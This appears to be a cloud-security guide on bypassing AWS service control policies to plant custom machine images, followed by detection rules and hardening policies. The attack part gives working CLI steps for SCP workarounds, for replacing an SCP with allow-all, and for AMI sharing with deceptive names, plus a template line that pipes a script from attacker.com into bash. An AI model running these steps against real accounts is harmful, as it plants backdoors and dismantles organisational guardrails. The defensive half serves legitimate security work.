Attack & Defense Guide
Service Control Policies (SCPs) are hard boundaries.
If an SCP explicitly denies ec2:ImportImage, the action cannot be performed by any principal — including root.
There is no direct bypass.
However, attackers can pivot to alternative methods to achieve the same outcome: importing custom machine images.
If ec2:ImportImage is blocked but ec2:ImportSnapshot is allowed:
{
"Description": "Legitimate OS Update",
"Format": "VMDK",
"UserBucket": {
"S3Bucket": "corporate-images",
"S3Key": "backdoor-vm.vmdk"
}
}SNAPSHOT_ID=$(aws ec2 import-snapshot \
--disk-container file://container.json \
--description "Security Patch" \
--query 'ImportTaskId' --output text)
# Monitor import status
aws ec2 describe-import-snapshot-tasks \
--import-task-ids $SNAPSHOT_ID# Once snapshot completes, register as image
aws ec2 register-image \
--name "Production-v2024-secure" \
--architecture x86_64 \
--root-device-name /dev/xvda \
--virtualization-type hvm \
--block-device-mappings '[{"DeviceName":"/dev/xvda","Ebs":{"SnapshotId":"snap-12345","VolumeSize":20}}]' \
--description "Hardened production image"- Same outcome as
ImportImage - Bypasses the SCP restriction
- Malicious AMI now available in account
If AWS Import/Export restrictions don't cover VM Import:
{
"Description": "Legacy App Migration",
"Format": "ova",
"Url": "s3://corporate-bucket/backdoor-vm.ova"
}aws ec2 import-image \
--architecture x86_64 \
--platform Linux \
--description "Legacy Migration" \
--license-type BYOL \
--disk-containers file://container.json \
--tag-specifications 'ResourceType=image,Tags=[{Key=Environment,Value=Production}]'- Creates AMI directly from VM image
- Bypasses snapshot-based restrictions
If you can modify SCPs or assume privileged roles:
# List all SCPs
aws organizations list-policies \
--filter SERVICE_CONTROL_POLICY
# Find attached targets
aws organizations list-targets-for-policy \
--policy-id <scp-policy-id>aws organizations detach-policy \
--policy-id p-123456789 \
--target-id ou-1234-5678# Create permissive version of SCP
cat > permissive-scp.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
EOF
aws organizations update-policy \
--policy-id p-123456789 \
--content file://permissive-scp.jsonorganizations:DetachPolicyorganizations:UpdatePolicyorganizations:AttachPolicyiam:CreatePolicy(to create new SCP)
If SCP blocks creation but not consumption:
# Share malicious AMI with target account
aws ec2 modify-image-attribute \
--image-id ami-0malicious123 \
--launch-permission "Add=[{UserId=123456789012}]"
# Make it public (if allowed)
aws ec2 modify-image-attribute \
--image-id ami-0malicious123 \
--launch-permission "Add=[{Group=all}]"# Copy shared AMI to target account
aws ec2 copy-image \
--name "Imported-Legitimate-Tool" \
--source-image-id ami-0malicious123 \
--source-region us-east-1 \
--region us-east-1
# Launch instance from copied AMI
aws ec2 run-instances \
--image-id ami-<copied-id> \
--instance-type t3.medium \
--count 1- SCPs only apply within the organization/account
- Shared AMIs bypass creation restrictions
- Copying doesn't trigger
ImportImageaction
If image creation is blocked but infrastructure provisioning isn't:
AWSTemplateFormatVersion: '2010-09-09'
Resources:
MaliciousInstance:
Type: AWS::EC2::Instance
Properties:
ImageId: ami-0legitimatebase
InstanceType: t3.medium
UserData:
Fn::Base64: |
#!/bin/bash
# Download and install backdoor
curl -s http://attacker.com/backdoor.sh | bash
# Persist in AMI
aws ec2 create-image \
--instance-id $(curl -s http://169.254.169.254/latest/meta-data/instance-id) \
--name "Compromised-Base-Image-v2"aws cloudformation create-stack \
--stack-name "security-update" \
--template-body file://backdoor-stack.yaml{
"eventName": ["ImportSnapshot", "CreateSnapshot"],
"eventSource": "ec2.amazonaws.com",
"errorCode": null
}{
"eventName": ["RegisterImage", "CreateImage"],
"eventSource": "ec2.amazonaws.com",
"requestParameters": {
"description": ["*backdoor*", "*test*", "*temp*"]
}
}{
"eventName": ["DetachPolicy", "UpdatePolicy", "AttachPolicy"],
"eventSource": "organizations.amazonaws.com",
"requestParameters": {
"policyId": "p-*"
}
}# Alert on snapshot imports
aws logs put-metric-filter \
--log-group-name CloudTrailLogs \
--filter-name SnapshotImportAlert \
--filter-pattern '{ ($.eventName = "ImportSnapshot") || ($.eventName = "RegisterImage") }' \
--metric-transformations metricName=SnapshotImport,metricNamespace=Security,metricValue=1
# Alert on SCP modifications
aws logs put-metric-filter \
--log-group-name CloudTrailLogs \
--filter-name SCPModificationAlert \
--filter-pattern '{ ($.eventSource = "organizations.amazonaws.com") && ($.eventName = "UpdatePolicy" || $.eventName = "DetachPolicy") }' \
--metric-transformations metricName=SCPChange,metricNamespace=Security,metricValue=1{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyCustomImageCreation",
"Effect": "Deny",
"Action": [
"ec2:ImportImage",
"ec2:ImportSnapshot",
"ec2:RegisterImage",
"ec2:CreateImage",
"ec2:DeregisterImage",
"ec2:ModifyImageAttribute",
"ec2:ResetImageAttribute",
"ec2:EnableImageDeprecation",
"ec2:DisableImageDeprecation"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/AMIAdmin": "true"
}
}
}
]
}{
"Effect": "Deny",
"Action": "ec2:ModifyImageAttribute",
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"ec2:Attribute": "launchPermission"
},
"ForAnyValue:StringEquals": {
"ec2:LaunchPermission": "*"
}
}
}{
"Effect": "Deny",
"Action": "ec2:*",
"Resource": "*",
"Condition": {
"Null": {
"aws:VpcSourceIp": "true"
}
}
}-
AWS Config Rules
ec2-ami-no-public-access— Detects public AMIsec2-ami-approved-only— Ensures only approved AMIs usedec2-snapshot-public-access— Detects public snapshots
-
GuardDuty
- Enable EC2 finding types
- Monitor for unusual API patterns
-
Custom Lambda Auditor
import boto3
import json
def lambda_handler(event, context):
ec2 = boto3.client('ec2')
# List all AMIs in account
images = ec2.describe_images(Owners=['self'])['Images']
# Flag suspicious patterns
for image in images:
if 'backdoor' in image.get('Description', '').lower():
print(f"ALERT: Suspicious AMI found: {image['ImageId']}")
# Trigger notification/quarantine| Attack Path | Bypass Method | Detection Strategy |
|---|---|---|
| ImportSnapshot + RegisterImage | Alternative API | Monitor ImportSnapshot events |
| VM Import API | Different endpoint | Alert on import-image from CloudTrail |
| SCP Privilege Escalation | Modify/Detach SCP | Real-time alerts on SCP changes |
| Cross-Account Sharing | External AMI source | AWS Config ec2-ami-no-public-access |
| Runtime Image Creation | CreateImage from instance |
Monitor CreateImage from non-approved instances |
Key Takeaway: SCPs provide strong boundaries but must be comprehensive. Always combine with detective controls and monitor for alternative paths.